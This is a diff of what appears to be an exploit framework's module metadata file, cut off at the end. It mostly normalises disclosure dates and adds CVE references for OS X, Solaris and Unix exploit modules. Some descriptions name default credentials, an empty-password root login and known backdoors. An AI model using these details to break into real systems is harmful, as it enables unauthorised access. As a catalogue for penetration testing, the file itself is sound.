"disclosure_date": "2009-07-10", "type": "exploit", "author": [ "kf " @@ -45641,7 +43584,7 @@ "name": "Novell NetWare LSASS CIFS.NLM Driver Stack Buffer Overflow", "full_name": "exploit/netware/smb/lsass_cifs", "rank": 200, - "disclosure_date": "2007-01-21 00:00:00 -0600", + "disclosure_date": "2007-01-21", "type": "exploit", "author": [ "toto" @@ -45675,7 +43618,7 @@ "name": "NetWare 6.5 SunRPC Portmapper CALLIT Stack Buffer Overflow", "full_name": "exploit/netware/sunrpc/pkernel_callit", "rank": 400, - "disclosure_date": "2009-09-30 00:00:00 -0500", + "disclosure_date": "2009-09-30", "type": "exploit", "author": [ "pahtzo" @@ -45710,7 +43653,7 @@ "name": "AppleFileServer LoginExt PathName Overflow", "full_name": "exploit/osx/afp/loginext", "rank": 200, - "disclosure_date": "2004-05-03 00:00:00 -0500", + "disclosure_date": "2004-05-03", "type": "exploit", "author": [ "hdm " @@ -45738,7 +43681,7 @@ "name": "Arkeia Backup Client Type 77 Overflow (Mac OS X)", "full_name": "exploit/osx/arkeia/type77", "rank": 200, - "disclosure_date": "2005-02-18 00:00:00 -0600", + "disclosure_date": "2005-02-18", "type": "exploit", "author": [ "hdm " @@ -45766,7 +43709,7 @@ "name": "Mozilla Firefox 3.6.16 mChannel Use-After-Free", "full_name": "exploit/osx/browser/mozilla_mchannel", "rank": 300, - "disclosure_date": "2011-05-10 00:00:00 -0500", + "disclosure_date": "2011-05-10", "type": "exploit", "author": [ "regenrecht", @@ -45797,7 +43740,7 @@ "name": "Apple Safari file:// Arbitrary Code Execution", "full_name": "exploit/osx/browser/safari_file_policy", "rank": 300, - "disclosure_date": "2011-10-12 00:00:00 -0500", + "disclosure_date": "2011-10-12", "type": "exploit", "author": [ "Aaron Sigel", @@ -45828,7 +43771,7 @@ "name": "Safari Archive Metadata Command Execution", "full_name": "exploit/osx/browser/safari_metadata_archive", "rank": 600, - "disclosure_date": "2006-02-21 00:00:00 -0600", + "disclosure_date": "2006-02-21", "type": "exploit", "author": [ "hdm " @@ -45856,7 +43799,7 @@ "name": "Safari User-Assisted Applescript Exec Attack", "full_name": "exploit/osx/browser/safari_user_assisted_applescript_exec", "rank": 0, - "disclosure_date": "2015-10-16 00:00:00 -0500", + "disclosure_date": "2015-10-16", "type": "exploit", "author": [ "joev " @@ -45883,7 +43826,7 @@ "name": "Safari User-Assisted Download and Run Attack", "full_name": "exploit/osx/browser/safari_user_assisted_download_launch", "rank": 0, - "disclosure_date": "2014-03-10 00:00:00 -0500", + "disclosure_date": "2014-03-10", "type": "exploit", "author": [ "joev " @@ -45910,7 +43853,7 @@ "name": "Apple OS X Software Update Command Execution", "full_name": "exploit/osx/browser/software_update", "rank": 600, - "disclosure_date": "2007-12-17 00:00:00 -0600", + "disclosure_date": "2007-12-17", "type": "exploit", "author": [ "Moritz Jodeit " @@ -45937,7 +43880,7 @@ "name": "Mail.app Image Attachment Command Execution", "full_name": "exploit/osx/email/mailapp_image_exec", "rank": 0, - "disclosure_date": "2006-03-01 00:00:00 -0600", + "disclosure_date": "2006-03-01", "type": "exploit", "author": [ "hdm ", @@ -45971,7 +43914,7 @@ "name": "WebSTAR FTP Server USER Overflow", "full_name": "exploit/osx/ftp/webstar_ftp_user", "rank": 200, - "disclosure_date": "2004-07-13 00:00:00 -0500", + "disclosure_date": "2004-07-13", "type": "exploit", "author": [ "ddz ", @@ -46000,7 +43943,7 @@ "name": "MacOS X EvoCam HTTP GET Buffer Overflow", "full_name": "exploit/osx/http/evocam_webserver", "rank": 200, - "disclosure_date": "2010-06-01 00:00:00 -0500", + "disclosure_date": "2010-06-01", "type": "exploit", "author": [ "Paul Harrington", @@ -46030,7 +43973,7 @@ "name": "Apple OS X DYLD_PRINT_TO_FILE Privilege Escalation", "full_name": "exploit/osx/local/dyld_print_to_file_root", "rank": 500, - "disclosure_date": "2015-07-21 00:00:00 -0500", + "disclosure_date": "2015-07-21", "type": "exploit", "author": [ "Stefan Esser", @@ -46038,6 +43981,7 @@ ], "description": "In Apple OS X 10.10.4 and prior, the DYLD_PRINT_TO_FILE environment\n variable is used for redirecting logging data to a file instead of\n stderr. Due to a design error, this feature can be abused by a local\n attacker to write arbitrary files as root via restricted, SUID-root\n binaries.", "references": [ + "CVE-2015-3760", "URL-https://www.sektioneins.de/en/blog/15-07-07-dyld_print_to_file_lpe.html", "URL-https://www.reddit.com/r/netsec/comments/3e34i2/os_x_1010_dyld_print_to_file_local_privilege/" ], @@ -46058,7 +44002,7 @@ "name": "Mac OS X IOKit Keyboard Driver Root Privilege Escalation", "full_name": "exploit/osx/local/iokit_keyboard_root", "rank": 0, - "disclosure_date": "2014-09-24 00:00:00 -0500", + "disclosure_date": "2014-09-24", "type": "exploit", "author": [ "Ian Beer", @@ -46088,7 +44032,7 @@ "name": "Mac OS X NFS Mount Privilege Escalation Exploit", "full_name": "exploit/osx/local/nfs_mount_root", "rank": 300, - "disclosure_date": "2014-04-11 00:00:00 -0500", + "disclosure_date": "2014-04-11", "type": "exploit", "author": [ "Kenzley Alphonse", @@ -46115,7 +44059,7 @@ "name": "Mac OS X Persistent Payload Installer", "full_name": "exploit/osx/local/persistence", "rank": 600, - "disclosure_date": "2012-04-01 00:00:00 -0500", + "disclosure_date": "2012-04-01", "type": "exploit", "author": [ "Marcin 'Icewall' Noga ", @@ -46142,7 +44086,7 @@ "name": "Mac OS X Root Privilege Escalation", "full_name": "exploit/osx/local/root_no_password", "rank": 600, - "disclosure_date": "2017-11-29 00:00:00 -0600", + "disclosure_date": "2017-11-29", "type": "exploit", "author": [ "chethan177", @@ -46151,6 +44095,7 @@ ], "description": "This module exploits a serious flaw in MacOSX High Sierra.\n Any user can login with user \"root\", leaving an empty password.", "references": [ + "CVE-2017-13872", "URL-https://twitter.com/lemiorhan/status/935578694541770752", "URL-https://news.ycombinator.com/item?id=15800676", "URL-https://forums.developer.apple.com/thread/79235" @@ -46172,7 +44117,7 @@ "name": "Apple OS X Rootpipe Privilege Escalation", "full_name": "exploit/osx/local/rootpipe", "rank": 500, - "disclosure_date": "2015-04-09 00:00:00 -0500", + "disclosure_date": "2015-04-09", "type": "exploit", "author": [ "Emil Kvarnhammar", @@ -46203,7 +44148,7 @@ "name": "Apple OS X Entitlements Rootpipe Privilege Escalation", "full_name": "exploit/osx/local/rootpipe_entitlements", "rank": 500, - "disclosure_date": "2015-07-01 00:00:00 -0500", + "disclosure_date": "2015-07-01", "type": "exploit", "author": [ "Emil Kvarnhammar", @@ -46231,7 +44176,7 @@ "name": "Mac OS X 10.9.5 / 10.10.5 - rsh/libmalloc Privilege Escalation", "full_name": "exploit/osx/local/rsh_libmalloc", "rank": 300, - "disclosure_date": "2015-10-01 00:00:00 -0500", + "disclosure_date": "2015-10-01", "type": "exploit", "author": [ "rebel", @@ -46259,7 +44204,7 @@ "name": "Setuid Tunnelblick Privilege Escalation", "full_name": "exploit/osx/local/setuid_tunnelblick", "rank": 600, - "disclosure_date": "2012-08-11 00:00:00 -0500", + "disclosure_date": "2012-08-11", "type": "exploit", "author": [ "Jason A. Donenfeld", @@ -46290,7 +44235,7 @@ "name": "Viscosity setuid-set ViscosityHelper Privilege Escalation", "full_name": "exploit/osx/local/setuid_viscosity", "rank": 600, - "disclosure_date": "2012-08-12 00:00:00 -0500", + "disclosure_date": "2012-08-12", "type": "exploit", "author": [ "Jason A. Donenfeld", @@ -46321,7 +44266,7 @@ "name": "Mac OS X Sudo Password Bypass", "full_name": "exploit/osx/local/sudo_password_bypass", "rank": 300, - "disclosure_date": "2013-02-28 00:00:00 -0600", + "disclosure_date": "2013-02-28", "type": "exploit", "author": [ "Todd C. Miller", @@ -46354,7 +44299,7 @@ "name": "Mac OS X \"tpwn\" Privilege Escalation", "full_name": "exploit/osx/local/tpwn", "rank": 300, - "disclosure_date": "2015-08-16 00:00:00 -0500", + "disclosure_date": "2015-08-16", "type": "exploit", "author": [ "qwertyoruiop", @@ -46381,7 +44326,7 @@ "name": "OS X VMWare Fusion Privilege Escalation via Bash Environment Code Injection (Shellshock)", "full_name": "exploit/osx/local/vmware_bash_function_root", "rank": 300, - "disclosure_date": "2014-09-24 00:00:00 -0500", + "disclosure_date": "2014-09-24", "type": "exploit", "author": [ "Stephane Chazelas", @@ -46414,7 +44359,7 @@ "name": "Mac OS X mDNSResponder UPnP Location Overflow", "full_name": "exploit/osx/mdns/upnp_location", "rank": 200, - "disclosure_date": "2007-05-25 00:00:00 -0500", + "disclosure_date": "2007-05-25", "type": "exploit", "author": [ "ddz " @@ -46444,7 +44389,7 @@ "name": "UFO: Alien Invasion IRC Client Buffer Overflow", "full_name": "exploit/osx/misc/ufo_ai", "rank": 200, - "disclosure_date": "2009-10-28 00:00:00 -0500", + "disclosure_date": "2009-10-28", "type": "exploit", "author": [ "Jason Geffner", @@ -46472,7 +44417,7 @@ "name": "MacOS X QuickTime RTSP Content-Type Overflow", "full_name": "exploit/osx/rtsp/quicktime_rtsp_content_type", "rank": 200, - "disclosure_date": "2007-11-23 00:00:00 -0600", + "disclosure_date": "2007-11-23", "type": "exploit", "author": [ "unknown" @@ -46503,7 +44448,7 @@ "name": "Samba lsa_io_trans_names Heap Overflow", "full_name": "exploit/osx/samba/lsa_transnames_heap", "rank": 200, - "disclosure_date": "2007-05-14 00:00:00 -0500", + "disclosure_date": "2007-05-14", "type": "exploit", "author": [ "Ramon de C Valle ", @@ -46535,7 +44480,7 @@ "name": "Samba trans2open Overflow (Mac OS X PPC)", "full_name": "exploit/osx/samba/trans2open", "rank": 500, - "disclosure_date": "2003-04-07 00:00:00 -0500", + "disclosure_date": "2003-04-07", "type": "exploit", "author": [ "hdm ", @@ -46565,7 +44510,7 @@ "name": "Solaris dtspcd Heap Overflow", "full_name": "exploit/solaris/dtspcd/heap_noir", "rank": 500, - "disclosure_date": "2002-07-10 00:00:00 -0500", + "disclosure_date": "2002-07-10", "type": "exploit", "author": [ "noir ", @@ -46596,7 +44541,7 @@ "name": "Solaris LPD Command Execution", "full_name": "exploit/solaris/lpd/sendmail_exec", "rank": 600, - "disclosure_date": "2001-08-31 00:00:00 -0500", + "disclosure_date": "2001-08-31", "type": "exploit", "author": [ "hdm ", @@ -46625,7 +44570,7 @@ "name": "Samba lsa_io_trans_names Heap Overflow", "full_name": "exploit/solaris/samba/lsa_transnames_heap", "rank": 200, - "disclosure_date": "2007-05-14 00:00:00 -0500", + "disclosure_date": "2007-05-14", "type": "exploit", "author": [ "Ramon de C Valle ", @@ -46656,7 +44601,7 @@ "name": "Samba trans2open Overflow (Solaris SPARC)", "full_name": "exploit/solaris/samba/trans2open", "rank": 500, - "disclosure_date": "2003-04-07 00:00:00 -0500", + "disclosure_date": "2003-04-07", "type": "exploit", "author": [ "hdm ", @@ -46687,7 +44632,7 @@ "name": "Sun Solaris sadmind adm_build_path() Buffer Overflow", "full_name": "exploit/solaris/sunrpc/sadmind_adm_build_path", "rank": 500, - "disclosure_date": "2008-10-14 00:00:00 -0500", + "disclosure_date": "2008-10-14", "type": "exploit", "author": [ "Ramon de C Valle ", @@ -46718,7 +44663,7 @@ "name": "Solaris sadmind Command Execution", "full_name": "exploit/solaris/sunrpc/sadmind_exec", "rank": 600, - "disclosure_date": "2003-09-13 00:00:00 -0500", + "disclosure_date": "2003-09-13", "type": "exploit", "author": [ "vlad902 ", @@ -46749,7 +44694,7 @@ "name": "Solaris ypupdated Command Execution", "full_name": "exploit/solaris/sunrpc/ypupdated_exec", "rank": 600, - "disclosure_date": "1994-12-12 00:00:00 -0600", + "disclosure_date": "1994-12-12", "type": "exploit", "author": [ "I)ruid " @@ -46777,7 +44722,7 @@ "name": "Sun Solaris Telnet Remote Authentication Bypass Vulnerability", "full_name": "exploit/solaris/telnet/fuser", "rank": 600, - "disclosure_date": "2007-02-12 00:00:00 -0600", + "disclosure_date": "2007-02-12", "type": "exploit", "author": [ "MC " @@ -46805,7 +44750,7 @@ "name": "Solaris in.telnetd TTYPROMPT Buffer Overflow", "full_name": "exploit/solaris/telnet/ttyprompt", "rank": 600, - "disclosure_date": "2002-01-18 00:00:00 -0600", + "disclosure_date": "2002-01-18", "type": "exploit", "author": [ "MC ", @@ -46834,7 +44779,7 @@ "name": "Dhclient Bash Environment Variable Injection (Shellshock)", "full_name": "exploit/unix/dhcp/bash_environment", "rank": 600, - "disclosure_date": "2014-09-24 00:00:00 -0500", + "disclosure_date": "2014-09-24", "type": "exploit", "author": [ "Stephane Chazelas", @@ -46868,7 +44813,7 @@ "name": "DHCP Client Command Injection (DynoRoot)", "full_name": "exploit/unix/dhcp/rhel_dhcp_client_command_injection", "rank": 600, - "disclosure_date": "2018-05-15 00:00:00 +0000", + "disclosure_date": "2018-05-15", "type": "exploit", "author": [ "Felix Wilhelm", @@ -46903,7 +44848,7 @@ "name": "Ghostscript Type Confusion Arbitrary Command Execution", "full_name": "exploit/unix/fileformat/ghostscript_type_confusion", "rank": 600, - "disclosure_date": "2017-04-27 00:00:00 -0500", + "disclosure_date": "2017-04-27", "type": "exploit", "author": [ "Atlassian Security Team", @@ -46935,7 +44880,7 @@ "name": "ImageMagick Delegate Arbitrary Command Execution", "full_name": "exploit/unix/fileformat/imagemagick_delegate", "rank": 600, - "disclosure_date": "2016-05-03 00:00:00 -0500", + "disclosure_date": "2016-05-03", "type": "exploit", "author": [ "stewie", @@ -46973,7 +44918,7 @@ "name": "ProFTPD-1.3.3c Backdoor Command Execution", "full_name": "exploit/unix/ftp/proftpd_133c_backdoor", "rank": 600, - "disclosure_date": "2010-12-02 00:00:00 -0600", + "disclosure_date": "2010-12-02", "type": "exploit", "author": [ "MC ", @@ -47001,7 +44946,7 @@ "name": "ProFTPD 1.3.5 Mod_Copy Command Execution", "full_name": "exploit/unix/ftp/proftpd_modcopy_exec", "rank": 600, - "disclosure_date": "2015-04-22 00:00:00 -0500", + "disclosure_date": "2015-04-22", "type": "exploit", "author": [ "Vadim Melihow", @@ -47029,7 +44974,7 @@ "name": "VSFTPD v2.3.4 Backdoor Command Execution", "full_name": "exploit/unix/ftp/vsftpd_234_backdoor", "rank": 600, - "disclosure_date": "2011-07-03 00:00:00 -0500", + "disclosure_date": "2011-07-03", "type": "exploit", "author": [ "hdm ", @@ -47058,7 +45003,7 @@ "name": "ContentKeeper Web Remote Command Execution", "full_name": "exploit/unix/http/contentkeeperweb_mimencode", "rank": 600, - "disclosure_date": "2009-02-25 00:00:00 -0600", + "disclosure_date": "2009-02-25", "type": "exploit", "author": [ "aushack " @@ -47086,7 +45031,7 @@ "name": "CTEK SkyRouter 4200 and 4300 Command Execution", "full_name": "exploit/unix/http/ctek_skyrouter", "rank": 200, - "disclosure_date": "2011-09-08 00:00:00 -0500", + "disclosure_date": "2011-09-08", "type": "exploit", "author": [ "savant42" @@ -47113,7 +45058,7 @@ "name": "Dell KACE K1000 File Upload", "full_name": "exploit/unix/http/dell_kace_k1000_upload", "rank": 600, - "disclosure_date": "2014-03-07 00:00:00 -0600", + "disclosure_date": "2014-03-07", "type": "exploit", "author": [ "Bradley Austin (steponequit)", @@ -47140,7 +45085,7 @@ "name": "Cambium ePMP1000 'get_chart' Shell via Command Injection (v3.1-3.5-RC7)", "full_name": "exploit/unix/http/epmp1000_get_chart_cmd_shell", "rank": 600, - "disclosure_date": "2017-12-18 00:00:00 -0600", + "disclosure_date": "2017-12-18", "type": "exploit", "author": [ "Karn Ganeshen " @@ -47167,13 +45112,14 @@ "name": "Cambium ePMP1000 'ping' Shell via Command Injection (up to v2.5)", "full_name": "exploit/unix/http/epmp1000_ping_cmd_shell", "rank": 600, - "disclosure_date": "2015-11-28 00:00:00 -0600", + "disclosure_date": "2015-11-28", "type": "exploit", "author": [ "Karn Ganeshen " ], "description": "This module exploits an OS Command Injection vulnerability in Cambium\n ePMP1000 device management portal. It requires any one of the following login\n credentials - admin/admin, installer/installer, home/home - to set up a reverse\n netcat shell.", "references": [ + "CVE-2017-5255", "URL-http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/", "URL-https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83" ], @@ -47194,7 +45140,7 @@ "name": "FreePBX 2.10.0 / 2.9.0 callmenum Remote Code Execution", "full_name": "exploit/unix/http/freepbx_callmenum", "rank": 0, - "disclosure_date": "2012-03-20 00:00:00 -0500", + "disclosure_date": "2012-03-20", "type": "exploit", "author": [ "muts", @@ -47223,7 +45169,7 @@ "name": "LifeSize Room Command Injection", "full_name": "exploit/unix/http/lifesize_room", "rank": 600, - "disclosure_date": "2011-07-13 00:00:00 -0500", + "disclosure_date": "2011-07-13", "type": "exploit", "author": [ "Spencer McIntyre" @@ -47250,13 +45196,14 @@ "name": "Clickjacking Vulnerability In CSRF Error Page pfSense", "full_name": "exploit/unix/http/pfsense_clickjacking", "rank": 300, - "disclosure_date": "2017-11-21 00:00:00 -0600", + "disclosure_date": "2017-11-21", "type": "exploit", "author": [ "Yorick Koster" ], "description": "This module exploits a Clickjacking vulnerability in pfSense <= 2.4.1.\n\n pfSense is a free and open source firewall and router. It was found that the\n pfSense WebGUI is vulnerable to Clickjacking. By tricking an authenticated admin\n into interacting with a specially crafted webpage it is possible for an attacker\n to execute arbitrary code in the WebGUI. Since the WebGUI runs as the root user,\n this will result in a full compromise of the pfSense instance.", "references": [ + "CVE-2017-1000479", "URL-https://securify.nl/en/advisory/SFY20171101/clickjacking-vulnerability-in-csrf-error-page-pfsense.html", "URL-https://doc.pfsense.org/index.php/2.4.2_New_Features_and_Changes" ], @@ -47277,7 +45224,7 @@ "name": "pfSense authenticated graph status RCE", "full_name": "exploit/unix/http/pfsense_graph_injection_exec", "rank": 600, - "disclosure_date": "2016-04-18 00:00:00 -0500", + "disclosure_date": "2016-04-18", "type": "exploit", "author": [ "Security-Assessment.com", @@ -47286,6 +45233,7 @@ ], "description": "pfSense, a free BSD based open source firewall distribution,\n version <= 2.2.6 contains a remote command execution\n vulnerability post authentication in the _rrd_graph_img.php page.\n The vulnerability occurs via the graph GET parameter. A non-administrative\n authenticated attacker can inject arbitrary operating system commands\n and execute them as the root user. Verified against 2.2.6, 2.2.5, and 2.1.3.", "references": [ + "CVE-2016-10709", "EDB-39709", "URL-http://www.security-assessment.com/files/documents/advisory/pfsenseAdvisory.pdf" ], @@ -47306,7 +45254,7 @@ "name": "pfSense authenticated group member RCE", "full_name": "exploit/unix/http/pfsense_group_member_exec", "rank": 600, - "disclosure_date": "2017-11-06 00:00:00 -0600", + "disclosure_date": "2017-11-06", "type": "exploit", "author": [ "s4squatch", @@ -47334,7 +45282,7 @@ "name": "Quest KACE Systems Management Command Injection", "full_name": "exploit/unix/http/quest_kace_systems_management_rce", "rank": 600, - "disclosure_date": "2018-05-31 00:00:00 +0000", + "disclosure_date": "2018-05-31", "type": "exploit", "author": [ "Leandro Barragan", @@ -47364,7 +45312,7 @@ "name": "tnftp \"savefile\" Arbitrary Command Execution", "full_name": "exploit/unix/http/tnftp_savefile", "rank": 600, - "disclosure_date": "2014-10-28 00:00:00 -0500", + "disclosure_date": "2014-10-28", "type": "exploit", "author": [ "Jared McNeill", @@ -47392,7 +45340,7 @@ "name": "TWiki Debugenableplugins Remote Code Execution", "full_name": "exploit/unix/http/twiki_debug_plugins", "rank": 600, - "disclosure_date": "2014-10-09 00:00:00 -0500", + "disclosure_date": "2014-10-09", "type": "exploit", "author": [ "Netanel Rubin", @@ -47421,7 +45369,7 @@ "name": "VMTurbo Operations Manager vmtadmin.cgi Remote Command Execution", "full_name": "exploit/unix/http/vmturbo_vmtadmin_exec_noauth", "rank": 600, - "disclosure_date": "2014-06-25 00:00:00 -0500", + "disclosure_date": "2014-06-25", "type": "exploit", "author": [ "Emilio Pinna " @@ -47450,7 +45398,7 @@ "name": "xdebug Unauthenticated OS Command Execution", "full_name": "exploit/unix/http/xdebug_unauth_exec", "rank": 600, - "disclosure_date": "2017-09-17 00:00:00 -0500", + "disclosure_date": "2017-09-17", "type": "exploit", "author": [ "Ricter Zheng", @@ -47479,7 +45427,7 @@ "name": "UnrealIRCD 3.2.8.1 Backdoor Command Execution", "full_name": "exploit/unix/irc/unreal_ircd_3281_backdoor", "rank": 600, - "disclosure_date": "2010-06-12 00:00:00 -0500", + "disclosure_date": "2010-06-12", "type": "exploit", "author": [ "hdm " @@ -47507,7 +45455,7 @@ "name": "at(1) Persistence", "full_name": "exploit/unix/local/at_persistence", "rank": 600, - "disclosure_date": "1997-01-01 00:00:00 -0600", + "disclosure_date": "1997-01-01", "type": "exploit", "author": [ "Jon Hart " @@ -47533,7 +45481,7 @@ "name": "Chkrootkit Local Privilege Escalation", "full_name": "exploit/unix/local/chkrootkit", "rank": 0, - "disclosure_date": "2014-06-04 00:00:00 -0500", + "disclosure_date": "2014-06-04", "type": "exploit", "author": [ "Thomas Stangner", @@ -47565,7 +45513,7 @@ "name": "Exim \"perl_startup\" Privilege Escalation", "full_name": "exploit/unix/local/exim_perl_startup", "rank": 600, - "disclosure_date": "2016-03-10 00:00:00 -0600", + "disclosure_date": "2016-03-10", "type": "exploit", "author": [ "Dawid Golunski", @@ -47594,7 +45542,7 @@ "name": "NetBSD mail.local Privilege Escalation", "full_name": "exploit/unix/local/netbsd_mail_local", "rank": 600, - "disclosure_date": "2016-07-07 00:00:00 -0500", + "disclosure_date": "2016-07-07", "type": "exploit", "author": [ "h00die ", @@ -47624,7 +45572,7 @@ "name": "Setuid Nmap Exploit", "full_name": "exploit/unix/local/setuid_nmap", "rank": 600, - "disclosure_date": "2012-07-19 00:00:00 -0500", + "disclosure_date": "2012-07-19", "type": "exploit", "author": [ "egypt " @@ -47652,7 +45600,7 @@ "name": "DistCC Daemon Command Execution", "full_name": "exploit/unix/misc/distcc_exec", "rank": 600, - "disclosure_date": "2002-02-01 00:00:00 -0600", + "disclosure_date": "2002-02-01", "type": "exploit", "author": [ "hdm " @@ -47680,7 +45628,7 @@ "name": "Polycom Shell HDX Series Traceroute Command Execution", "full_name": "exploit/unix/misc/polycom_hdx_traceroute_exec", "rank": 600, - "disclosure_date": "2017-11-12 00:00:00 -0600", + "disclosure_date": "2017-11-12", "type": "exploit", "author": [ "Mumbai", @@ -47709,7 +45657,7 @@ "name": "QNX qconn Command Execution", "full_name": "exploit/unix/misc/qnx_qconn_exec", "rank": 600, - "disclosure_date": "2012-09-04 00:00:00 -0500", + "disclosure_date": "2012-09-04", "type": "exploit", "author": [ "David Odell", @@ -47740,7 +45688,7 @@ "name": "SpamAssassin spamd Remote Command Execution", "full_name": "exploit/unix/misc/spamassassin_exec", "rank": 600, - "disclosure_date": "2006-06-06 00:00:00 -0500", + "disclosure_date": "2006-06-06", "type": "exploit", "author": [ "aushack " @@ -47769,7 +45717,7 @@ "name": "Xerox Multifunction Printers (MFP) \"Patch\" DLM Vulnerability", "full_name": "exploit/unix/misc/xerox_mfp", "rank": 400, - "disclosure_date": "2012-03-07 00:00:00 -0600", + "disclosure_date": "2012-03-07", "type": "exploit", "author": [ "Deral \"Percentx\" Heiland", @@ -47798,7 +45746,7 @@ "name": "Zabbix Agent net.tcp.listen Command Injection", "full_name": "exploit/unix/misc/zabbix_agent_exec", "rank": 600, - "disclosure_date": "2009-09-10 00:00:00 -0500", + "disclosure_date": "2009-09-10", "type": "exploit", "author": [ "hdm " @@ -47826,7 +45774,7 @@ "name": "Polycom Command Shell Authorization Bypass", "full_name": "exploit/unix/polycom_hdx_auth_bypass", "rank": 300, - "disclosure_date": "2013-01-18 00:00:00 -0600", + "disclosure_date": "2013-01-18", "type": "exploit", "author": [ "Paul Haas ", @@ -47855,7 +45803,7 @@ "name": "ClamAV Milter Blackhole-Mode Remote Code Execution", "full_name": "exploit/unix/smtp/clamav_milter_blackhole", "rank": 600, - "disclosure_date": "2007-08-24 00:00:00 -0500", + "disclosure_date": "2007-08-24", "type": "exploit", "author": [ "aushack " @@ -47884,7 +45832,7 @@ "name": "Exim4 string_format Function Heap Buffer Overflow", "full_name": "exploit/unix/smtp/exim4_string_format", "rank": 600, - "disclosure_date": "2010-12-07 00:00:00 -0600", + "disclosure_date": "2010-12-07", "type": "exploit", "author": [ "jduck ", @@ -47920,7 +45868,7 @@ "name": "Qmail SMTP Bash Environment Variable Injection (Shellshock)", "full_name": "exploit/unix/smtp/qmail_bash_env_exec", "rank": 300, - "disclosure_date": "2014-09-24 00:00:00 -0500", + "disclosure_date": "2014-09-24", "type": "exploit", "author": [ "Mario Ledo (Metasploit module)", @@ -47953,7 +45901,7 @@ "name": "Array Networks vAPV and vxAG Private Key Privilege Escalation Code Execution", "full_name": "exploit/unix/ssh/array_vxag_vapv_privkey_privesc", "rank": 600, - "disclosure_date": "2014-02-03 00:00:00 -0600", + "disclosure_date": "2014-02-03", "type": "exploit", "author": [ "xistence " @@ -47982,7 +45930,7 @@ "name": "Tectia SSH USERAUTH Change Request Password Reset Vulnerability", "full_name": "exploit/unix/ssh/tectia_passwd_changereq", "rank": 600, - "disclosure_date": "2012-12-01 00:00:00 -0600", + "disclosure_date": "2012-12-01", "type": "exploit", "author": [ "kingcope", @@ -48013,7 +45961,7 @@ "name": "ActualAnalyzer 'ant' Cookie Command Execution", "full_name": "exploit/unix/webapp/actualanalyzer_ant_cookie_exec", "rank": 600, - "disclosure_date": "2014-08-28 00:00:00 -0500", + "disclosure_date": "2014-08-28", "type": "exploit", "author": [ "Benjamin Harris", @@ -48042,7 +45990,7 @@ "name": "Western Digital Arkeia Remote Code Execution", "full_name": "exploit/unix/webapp/arkeia_upload_exec", "rank": 600, - "disclosure_date": "2013-09-16 00:00:00 -0500", + "disclosure_date": "2013-09-16", "type": "exploit", "author": [ "xistence " @@ -48070,7 +46018,7 @@ "name": "AWStats configdir Remote Command Execution", "full_name": "exploit/unix/webapp/awstats_configdir_exec", "rank": 600, - "disclosure_date": "2005-01-15 00:00:00 -0600", + "disclosure_date": "2005-01-15", "type": "exploit", "author": [ "Matteo Cantoni ", @@ -48100,7 +46048,7 @@ "name": "AWStats migrate Remote Command Execution", "full_name": "exploit/unix/webapp/awstats_migrate_exec", "rank": 600, - "disclosure_date": "2006-05-04 00:00:00 -0500", + "disclosure_date": "2006-05-04", "type": "exploit", "author": [ "aushack " @@ -48130,7 +46078,7 @@ "name": "AWStats Totals multisort Remote Command Execution", "full_name": "exploit/unix/webapp/awstatstotals_multisort", "rank": 600, - "disclosure_date": "2008-08-26 00:00:00 -0500", + "disclosure_date": "2008-08-26", "type": "exploit", "author": [ "aushack " @@ -48158,7 +46106,7 @@ "name": "Barracuda IMG.PL Remote Command Execution", "full_name": "exploit/unix/webapp/barracuda_img_exec", "rank": 600, - "disclosure_date": "2005-09-01 00:00:00 -0500", + "disclosure_date": "2005-09-01", "type": "exploit", "author": [ "Nicolas Gregoire ", @@ -48188,7 +46136,7 @@ "name": "BASE base_qry_common Remote File Include", "full_name": "exploit/unix/webapp/base_qry_common", "rank": 600, - "disclosure_date": "2008-06-14 00:00:00 -0500", + "disclosure_date": "2008-06-14", "type": "exploit", "author": [ "MC " @@ -48216,7 +46164,7 @@ "name": "Basilic 1.5.14 diff.php Arbitrary Command Execution", "full_name": "exploit/unix/webapp/basilic_diff_exec", "rank": 600, - "disclosure_date": "2012-06-28 00:00:00 -0500", + "disclosure_date": "2012-06-28", "type": "exploit", "author": [ "lcashdollar", @@ -48225,6 +46173,7 @@ ], "description": "This module abuses a metacharacter injection vulnerability in the\n diff.php script. This flaw allows an unauthenticated attacker to execute arbitrary\n commands as the www-data user account.", "references": [ + "CVE-2012-3399", "OSVDB-83719", "BID-54234" ], @@ -48245,7 +46194,7 @@ "name": "Cacti graph_view.php Remote Command Execution", "full_name": "exploit/unix/webapp/cacti_graphimage_exec", "rank": 600, - "disclosure_date": "2005-01-15 00:00:00 -0600", + "disclosure_date": "2005-01-15", "type": "exploit", "author": [ "David Maciejak ", @@ -48273,7 +46222,7 @@ "name": "CakePHP Cache Corruption Code Execution", "full_name": "exploit/unix/webapp/cakephp_cache_corruption", "rank": 600, - "disclosure_date": "2010-11-15 00:00:00 -0600", + "disclosure_date": "2010-11-15", "type": "exploit", "author": [ "tdz", @@ -48303,7 +46252,7 @@ "name": "Carberp Web Panel C2 Backdoor Remote PHP Code Execution", "full_name": "exploit/unix/webapp/carberp_backdoor_exec", "rank": 500, - "disclosure_date": "2013-06-28 00:00:00 -0500", + "disclosure_date": "2013-06-28", "type": "exploit", "author": [ "bwall(Brian Wallace) ", @@ -48331,7 +46280,7 @@ "name": "Citrix Access Gateway Command Execution", "full_name": "exploit/unix/webapp/citrix_access_gateway_exec", "rank": 600, - "disclosure_date": "2010-12-21 00:00:00 -0600", + "disclosure_date": "2010-12-21", "type": "exploit", "author": [ "George D. Gal", @@ -48361,7 +46310,7 @@ "name": "ClipBucket Remote Code Execution", "full_name": "exploit/unix/webapp/clipbucket_upload_exec", "rank": 600, - "disclosure_date": "2013-10-04 00:00:00 -0500", + "disclosure_date": "2013-10-04", "type": "exploit", "author": [ "Gabby", @@ -48388,7 +46337,7 @@ "name": "Coppermine Photo Gallery picEditor.php Command Execution", "full_name": "exploit/unix/webapp/coppermine_piceditor", "rank": 600, - "disclosure_date": "2008-01-30 00:00:00 -0600", + "disclosure_date": "2008-01-30", "type": "exploit", "author": [ "Janek Vind", @@ -48418,7 +46367,7 @@ "name": "DataLife Engine preview.php PHP Code Injection", "full_name": "exploit/unix/webapp/datalife_preview_exec", "rank": 600, - "disclosure_date": "2013-01-28 00:00:00 -0600", + "disclosure_date": "2013-01-28", "type": "exploit", "author": [ "EgiX", @@ -48450,7 +46399,7 @@ "name": "Dogfood CRM spell.php Remote Command Execution", "full_name": "exploit/unix/webapp/dogfood_spell_exec", "rank": 600, - "disclosure_date": 